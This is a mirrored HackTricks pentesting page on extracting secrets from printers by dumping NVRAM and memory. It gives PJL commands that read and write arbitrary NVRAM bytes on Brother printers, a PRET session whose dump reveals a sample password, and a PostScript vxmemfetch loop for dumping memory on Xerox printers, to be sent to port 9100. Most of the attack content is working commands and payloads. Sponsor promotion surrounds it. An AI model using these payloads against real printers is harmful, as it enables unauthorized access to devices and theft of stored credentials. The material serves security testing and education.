mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 04:23:33 +00:00
73 lines
4.3 KiB
Markdown
73 lines
4.3 KiB
Markdown
|
|
|
|
<details>
|
|
|
|
<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
|
|
**You can try to dump the NVRAM and extract confidential info (as passwords) from there.**
|
|
|
|
In **PJL (Brother)** you can access **arbitrary NVRAM addresses** using PJL as shown below:
|
|
|
|
```bash
|
|
@PJL RNVRAM ADDRESS = X # read byte at location X
|
|
@PJL WNVRAM ADDRESS = X DATA = Y # write byte Y to location X
|
|
```
|
|
|
|
You can test this attack using [**PRET**](https://github.com/RUB-NDS/PRET):
|
|
|
|
```bash
|
|
./pret.py -q printer pjl
|
|
Connection to printer established
|
|
|
|
Welcome to the pret shell. Type help or ? to list commands.
|
|
printer:/> nvram dump
|
|
Writing copy to nvram/printer
|
|
................................................................................
|
|
................................................................................
|
|
............................................MyS3cretPassw0rd....................
|
|
................................................................................
|
|
```
|
|
|
|
Certain **Xerox printer models** have a proprietary **PostScript** `vxmemfetch` operator built into, which allows an attacker to read arbitrary memory addresses. Using a PostScript loop, this feature can be easily used to dump the whole memory as show below (PRET doesn't have this attack so you will need to send this payload to the port 9100 in a `nc` connection):
|
|
|
|
```
|
|
/counter 0 def 50000 {
|
|
/counter counter 1 add def
|
|
currentdict /RRCustomProcs /ProcSet findresource begin
|
|
begin counter 1 false vxmemfetch end end == counter
|
|
} repeat
|
|
```
|
|
|
|
**More information here:** [**http://hacking-printers.net/wiki/index.php/Memory\_access**](http://hacking-printers.net/wiki/index.php/Memory\_access)
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
|